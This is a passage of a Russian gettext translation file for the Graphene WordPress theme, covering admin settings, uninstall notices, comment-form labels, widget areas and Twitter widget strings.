"Активировано" #: admin/options.php:277 msgid "Options Presets" msgstr "Исходные настройки" #: admin/options.php:280 msgid "The default settings for the theme is preconfigured for use in blogs. If you're using this theme primarily for a normal website, or if you want to reset the settings to their default values, you can apply one of the available options presets below." msgstr "Настройки для темы по умолчанию предназначены для блогов. Если вы используете эту тему для обычного сайта или вы хотите сбросить изначальные настройки по умолчанию, вы можете применить один из имеющихся ниже вариантов настройки." #: admin/options.php:281 msgid "Note that you can still configure the individual settings after you apply any preset." msgstr "Обратите внимание, что вы можете изменить индивидуальные настройки посли установки предварительных настроек." #: admin/options.php:286 msgid "Select Options Preset" msgstr "Выбор предварительных настроек" #: admin/options.php:289 msgid "Normal website" msgstr "Обычный сайт" #: admin/options.php:292 msgid "Reset to default settings" msgstr "Восстановить значения по умолчанию" #: admin/options.php:297 msgid "Apply Options Preset" msgstr "Применить предварительные настройки" #: admin/options.php:307 msgid "Import/export theme options" msgstr "Импорт/экспорт параметров темы" #: admin/options.php:310 msgid "Import" msgstr "Импорт" #: admin/options.php:313 msgid "Import Theme options" msgstr "Импорт параметров темы" #: admin/options.php:315 msgid "Export" msgstr "Экспорт" #: admin/options.php:319 msgid "Export Theme options" msgstr "Экспорт параметров темы" #: admin/options.php:329 msgid "Uninstall theme" msgstr "Деинсталировать тему" #: admin/options.php:332 msgid "<strong>Be careful!</strong> Uninstalling the theme will remove all of the theme's options from the database. Do this only if you decide not to use the theme anymore." msgstr "<strong>Внимание!</strong>Деинсталяция темы приведет к потере всех параметров темы из базы данных. Подтвердите действие, если Вы решили больше не использовать эту тему." #: admin/options.php:333 msgid "If you just want to try another theme, there is no need to uninstall this theme. Simply activate the other theme in the Appearance > Themes admin page." msgstr "Если Вы хотите попробовать другую тему, необязательно удалять эту. Просто активируйте другую тему в Настройки внешнего вида > Темы страницы администратора." #: admin/options.php:334 msgid "Note that uninstalling this theme <strong>does not remove</strong> the theme's files. To delete the files after you have uninstalled this theme, go to Appearances > Themes and delete the theme from there." msgstr "Обратите внимание, что деинсталяция этой темы <strong>не приведет к удалению</strong> файлов темы. Для того, чтобы удалить файлы после деинсталляции темы, откройте Настройки внешнего вида > Темы и удалите тему." #: admin/options.php:351 msgid "The preview will be updated when the \"Save Options\" button above is clicked." msgstr "Предосмотр будет обновляться, когда нажимаете на кнопку \"Сохранить настройки\"." #: admin/uninstall.php:24 #, php-format msgid "Theme uninstalled. Redirecting to %s" msgstr "Тема деактивирована. Переxod на %s" #: admin/user.php:7 msgid "Graphene-specific User Profile Information" msgstr "Специальная информация профиля пользователя в теме Graphene" #: admin/user.php:8 msgid "The settings defined here are used only with the Graphene theme." msgstr "Заданные параметры используются только в теме Graphene." #: admin/user.php:12 msgid "Author profile image URL" msgstr "URL изображения для профиля автора" #: admin/user.php:13 msgid "You can specify the image to be displayed as the author's profile image in the Author's page. If no URL is defined here, the author's <a href=\"http://www.gravatar.com\">Gravatar</a> will be used." msgstr "Вы можете выбрать изображение, которое будет отображаться в качестве изображения автора профиля на странице автора. Если не указан никакой URL, тогда будет использоваться <a href=\"http://ru.gravatar.com\">Gravatar</a> автора." #: admin/user.php:17 msgid "Please enter the full URL (including <code>http://</code>) to your profile image." msgstr "Пожалуйста, введите полный URL для изображения профиля (включая <code>http://</code>)." #: admin/user.php:17 msgid "<strong>Important: </strong>Image width must be less than or equal to <strong>150px</strong>." msgstr "<strong>Важно: </strong>Ширина изображения должна быть меньше или равна <strong>150px</strong>." #: admin/js/admin.js.php:47 msgid "Social Media name" msgstr "Название социальной сети" #: admin/js/admin.js.php:50 msgid "Name of the social media, e.g. LinkedIn, etc." msgstr "Название социальной сети, LinkedIn и т.п." #: admin/js/admin.js.php:54 msgid "Social Media title" msgstr "Рубрика социальной сети" #: admin/js/admin.js.php:57 msgid "Title for the social media, leave empty for generated title." msgstr "Рубрика для социальной сети. При пустом поле, рубрика будет генерироваться автоматически." #: admin/js/admin.js.php:61 msgid "Social Media profile URL" msgstr "URL профиля социальной сети" #: admin/js/admin.js.php:64 msgid "URL to your page for the social media." msgstr "URL для вашей страницы в социальной сети." #: admin/js/admin.js.php:68 msgid "Social Media icon URL" msgstr "URL иконки социальной сети" #: admin/js/admin.js.php:71 #, php-format msgid "URL to the social media icon. Note: the theme uses the %s icon set for the social media icons. Please do not hotlink the icons on the site. Download the icons you need and upload them to your server instead." msgstr "URL иконки социальной сети. <strong>Внимание:</strong> эта тема использует пакет иконок для социальных сетей \"%s\". Пожайлуста не используйте прямую ссылку на файл иконки другого сайта. Вместо этого, скачайте иконку и загрузите ее на Ваш собственный сервер." #. translators: %1$s is the comment date, %2$s is the comment time #: includes/theme-comments.php:34 #, php-format msgid "%1$s at %2$s" msgstr "%1$s в %2$s" #: includes/theme-comments.php:36 msgid "Edit comment" msgstr "Редактировать комментарий" #: includes/theme-comments.php:40 msgid "Reply" msgstr "Ответить" #: includes/theme-comments.php:51 msgid "Your comment is awaiting moderation." msgstr "Ваш комментарий ождает проверки." #: includes/theme-comments.php:76 msgid "Name:" msgstr "Имя:" #: includes/theme-comments.php:81 msgid "Email:" msgstr "E-Mail:" #: includes/theme-comments.php:86 msgid "Website:" msgstr "Сайт:" #: includes/theme-comments.php:100 msgid "Message:" msgstr "Сообщение:" #: includes/theme-functions.php:72 #, php-format msgid "Follow %s on Twitter" msgstr "Следуйте за новостями %s в Twitter" #: includes/theme-functions.php:75 #, php-format msgid "Visit %s's Facebook page" msgstr "Посетить страницу %s на Facebook" #: includes/theme-functions.php:97 #, php-format msgid "Visit %1$s's %2$s page" msgstr "Посетить страницу %1$s %2$s" #: includes/theme-loop.php:85 msgid "Continue reading »" msgstr "Читать далее »" #: includes/theme-loop.php:137 msgid "Older posts «" msgstr "Предыдущие сообщения «" #: includes/theme-loop.php:138 msgid "» Newer posts" msgstr "» Более новые сообщения" #: includes/theme-loop.php:140 msgid "Next page »" msgstr "Следующая страница »" #: includes/theme-loop.php:141 msgid "« Previous page" msgstr "« Предыдущая страница" #: includes/theme-loop.php:221 msgid "<strong>ERROR: You must supply the post ID to get the image from as an argument when calling the graphene_get_post_image() function.</strong>" msgstr "<strong>ОШИБКА: Необходимо ввести идентификатор сообщения чтобы получить изображение при вызове команды graphene_get_post_image() функция.</strong>" #: includes/theme-menu.php:65 msgid "Home" msgstr "Домой" #: includes/theme-panes.php:93 msgid "Read more" msgstr "Читать далее" #: includes/theme-setup.php:90 msgid "Header Menu" msgstr "Заглавное меню" #: includes/theme-setup.php:91 msgid "Secondary Menu" msgstr "Вторичное меню" #: includes/theme-setup.php:92 msgid "Footer Menu" msgstr "Нижнее меню" #: includes/theme-setup.php:125 msgid "Header image by Syahir Hakim" msgstr "Заглавное изображение разработал Syahir Hakim" #: includes/theme-setup.php:129 msgid "This is the default Graphene theme header image, cropped from image by Quantin Houyoux at sxc.hu" msgstr "Это заглавная картинка по умолчанию для темы \"Graphene\", кадрированная из изображения сделанного Quantin Houyoux на sxc.h" #: includes/theme-setup.php:133 #: includes/theme-setup.php:137 #: includes/theme-setup.php:141 #: includes/theme-setup.php:145 #: includes/theme-setup.php:149 msgid "Header image cropped from image by Ilco at sxc.hu" msgstr "Заглавная картинка, кадрированная из изображения сделанного Ilco на sxc.hu" #: includes/theme-setup.php:204 msgid "Sidebar Widget Area" msgstr "Боковая панель для виджетов" #: includes/theme-setup.php:206 msgid "The first sidebar widget area (will always be displayed on the right hand side)." msgstr "Первая боковая панель для виджетов, (Всегда будет отображаться справа)." #: includes/theme-setup.php:213 msgid "Sidebar Two Widget Area" msgstr "Вторая боковая панель для виджетов" #: includes/theme-setup.php:215 msgid "The second sidebar widget area (will always be displayed on the left hand side)." msgstr "Вторая боковая панель для виджетов, (Всегда будет отображаться слева)." #: includes/theme-setup.php:222 msgid "Footer Widget Area" msgstr "Нижняя панель для виджетов" #: includes/theme-setup.php:224 msgid "The footer widget area. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr "Нижняя панель для виджетов. Оставьте пустой, чтобы отключить. Установите число столбцов для отображения на странице отображения темы в Параметрах темы." #: includes/theme-setup.php:239 msgid "Front Page Sidebar Widget Area" msgstr "Боковая панель для виджетов на главной странице" #: includes/theme-setup.php:241 msgid "The first sidebar widget area that will only be displayed on the front page." msgstr "Первая боковая панель для виджетов, которая будет отображаться только на главной странице." #: includes/theme-setup.php:248 msgid "Front Page Sidebar Two Widget Area" msgstr "Вторая панель виджетов для главной страницы" #: includes/theme-setup.php:250 msgid "The second sidebar widget area that will only be displayed on the front page." msgstr "Вторая панель для виджетов, которая будет отображаться только на главной странице." #: includes/theme-setup.php:259 msgid "Front Page Footer Widget Area" msgstr "Нижняя панель для виджетов на главной странице." #: includes/theme-setup.php:261 msgid "The footer widget area that will only be displayed on the front page. Leave empty to disable. Set the number of columns to display at the theme's Display Options page." msgstr " Нижняя панель для виджетов будет отображаться только на главной странице. Оставьте пустой, чтобы отключить. Установите число столбцов для отображения на странице отображения темы в Параметрах темы." #: includes/theme-setup.php:271 msgid "Header Widget Area" msgstr "Панель для виджетов в заголовке" #: includes/theme-setup.php:273 msgid "The header widget area." msgstr "Заглавная панель для виджетов" #: includes/theme-setup.php:290 #, php-format msgid "Dynamically added widget area. This widget area is attached to the %s action hook." msgstr "Динамически добавленная панель для виджетов. Она прикреплена к \"точке действия/action hook\" %s." #: includes/theme-slider.php:115 #: includes/theme-slider.php:143 msgid "View full post" msgstr " Полностью просмотреть сообщение" #: includes/theme-widgets.php:14 msgid "Display the latest Twitter status updates." msgstr "Показывать последние обновления статуса по Twitter." #: includes/theme-widgets.php:46 msgid "Loading tweets..." msgstr "Загружаются сообщения от Twitter..." #: includes/theme-widgets.php:50 msgid "Follow me on Twitter" msgstr "Следуйте за нами в Twitter" #: includes/theme-widgets.php:60 msgid "follower" msgstr "подписчик" #: includes/theme-widgets.php:61 msgid "followers" msgstr "подписчиков" #: includes/theme-widgets.php:93 msgid "Latest tweets" msgstr "Последние сообщения по Twitter" #: includes/theme-widgets.php:100 msgid "Title:" msgstr "Рубрика:" #: includes/theme-widgets.php:104 msgid "Twitter Username:" msgstr "Имя пользователя Twitter:" #: includes/theme-widgets.php:108 msgid "Number of tweets to display:" msgstr "Количество отображаемых записей:" #: includes/theme-widgets.php:112 msgid "Show followers count" msgstr "Показывать количество подписчиков" #: includes/theme-widgets.php:116 msgid "Open links in new window" msgstr "Открывать ссылки в новом окне" #~ msgid "Show essential options" #~ msgstr "Отображать основные настройки" #~ msgid "Show all options" #~ msgstr "Показывать все настройки" #~ msgid "" #~ "Import and export is only available for to users with PHP version 5.2.1 " #~ "and higher. You are using PHP version %s." #~ msgstr "" #~ "Импорт и экспорт доступен только для пользователей с версией PHP 5.2.1 и " #~ "выше. Вы используете версию PHP %s." #~ msgid "Show post author's gravatar" #~ msgstr "" #~ "Отображать <a href=\"http://ru.gravatar.com/\">gravatar</a> автора " #~ "сообщения" #~ msgid "says:" #~ msgstr "говорит:" #~ msgid "" #~ "The first sidebar widget area (available in two and three column layouts)." #~ msgstr "" #~ "Первая боковая панель для виджетов (доступная при двух и трех колонках)." #~ msgid "" #~ "The second sidebar widget area (only available in three column layouts)." #~ msgstr "" #~ "Вторая боковая панель для виджетов (доступная только при трех колонках)." #~ msgid "% comments" #~ msgstr "% комментариев" #~ msgid "% pings" #~ msgstr "% пингов" #~ msgid "by" #~ msgstr "Под авторством" #~ msgid "<div class=\"link-pages\"><p><strong>Pages:</strong> " #~ msgstr "<div class=\"link-pages\"><p><strong>Страницы:</strong> " #~ msgid "Show Creative Commons logo" #~ msgstr "Отображать логотип Creative Commons" #~ msgid "Settings saved." #~ msgstr "Настройки сохранены." #~ msgid "Valid XHTML 1.0 Strict" #~ msgstr "Допустимый XHTML 1.0 Strict" #~ msgid "Valid CSS" #~ msgstr "Допустимый CSS" #~ msgid "Valid CSS Level 2.1" #~ msgstr "Допустимый CSS Level 2.1" #~ msgid "%1$s uses %2$s theme by %3$s." #~ msgstr "%1$s использует %2$s тему %3$s." #~ msgid "URL to your profile page for the social media." #~ msgstr " URL для вашей страницы профиля в социальной сети." #~ msgid "Visit Facebook page" #~ msgstr "Перейти на страницу Facebook" #~ msgid "No comment yet" #~ msgstr "Без комментариев" #~ msgid "No ping yet" #~ msgstr "Нет пинга" #~ msgid "" #~ "Please enter only numerical value for the footer widget column count." #~ msgstr "Пожалуйста,введите численное значение столбцов для нижнего гаджета." #~ msgid "" #~ "Please enter only numerical value for the front page footer widget column " #~ "count." #~ msgstr "" #~ "Пожалуйста,введите численное значение для нижнего гаджета главной " #~ "страницы." #~ msgid "" #~ "Please enter only numerical value for the navigation menu dropdown item " #~ "width." #~ msgstr "" #~ "Пожалуйста,введите численное значение для навигации выпадающего меню." #~ msgid "Graphene Display Options" #~ msgstr "Параметры просмотра Graphene" #~ msgid "ERROR:" #~ msgstr "ОШИБКА:" #~ msgid "Sidebar Options" #~ msgstr "Параметры боковой панели" #~ msgid "Content sidebar location" #~ msgstr "Размещение боковой панели" #~ msgid "Right" #~ msgstr "Право" #~ msgid "Left" #~ msgstr "Лево" #~ msgid "" #~ "Will cause all posts and pages to be displayed in a single-column layout." #~ msgstr "Все сообщения и страницы будут отображаться в одной колонке." #~ msgid "Show post year" #~ msgstr "Показывать год сообщения" #~ msgid "Only works if the option \"Hide post date\" is disabled." #~ msgstr "" #~ "Доступно только,если включена опция \"Не показывать дату сообщения\"." #~ msgid "" #~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, " #~ "<code>'Trebuchet MS'</code>" #~ msgstr "" #~ "<code>arial</code>, <code>tahoma</code>, <code>georgia</code>, " #~ "<code>'Trebuchet MS'</code>" #~ msgid "<code>12px</code>, <code>12pt</code>, <code>12em</code>" #~ msgstr "<code>12px</code>, <code>12pt</code>, <code>12em</code>" #~ msgid "" #~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>" #~ msgstr "" #~ "<code>normal</code>, <code>bold</code>, <code>100</code>, <code>700</code>" #~ msgid " <code>normal</code>, <code>italic</code>, <code>oblique</code>" #~ msgstr " <code>normal</code>, <code>italic</code>, <code>oblique</code>" #~ msgid "" #~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</" #~ "code>" #~ msgstr "" #~ "<code>blue</code>, <code>navy</code>, <code>red</code>, <code>#ff0000</" #~ "code>" #~ msgid "" #~ "If this is checked, the website title will be displayed first, followed " #~ "by the page title." #~ msgstr "" #~ "После проверки сначала будет отображаться название сайта,затем название " #~ "страницы" #~ msgid "Update Settings" #~ msgstr "Обновить настройки" #~ msgid "You must enter your Adsense code to enable Adsense advertising" #~ msgstr "Необходимо ввести Adsense код,чтобы активировать рекламу Adsense" #~ msgid "" #~ "You must enter your AddThis button code to enable the AddThis social " #~ "sharing button" #~ msgstr "" #~ "Необходимо ввести AddThis код,чтобы активировать кнопку социальных " #~ "действий AddThis" #~ msgid "" #~ "You must enter your Google Analytics tracking code to enable Google " #~ "Analytics tracking." #~ msgstr "" #~ "Необходимо ввести Google Analytics tracking код,чтобы активировать Google" #~ msgid "" #~ "This setting only affects the slider if \"Show latest posts\" is selected " #~ "above." #~ msgstr "" #~ "Эти настройки действительны для слайдера только если выбрано \"Показывать " #~ "последние сообщения\"" #~ msgid "AddThis Options" #~ msgstr "Параметры AddThis" #~ msgid "" #~ "You can generate your button code from the <a href=\"http://www.addthis." #~ "com/\">AddThis website</a>." #~ msgstr "" #~ "Вы можете выбрать случайный код кнопки на <a href=\"http://www.addthis." #~ "com/\">AddThis website</a>."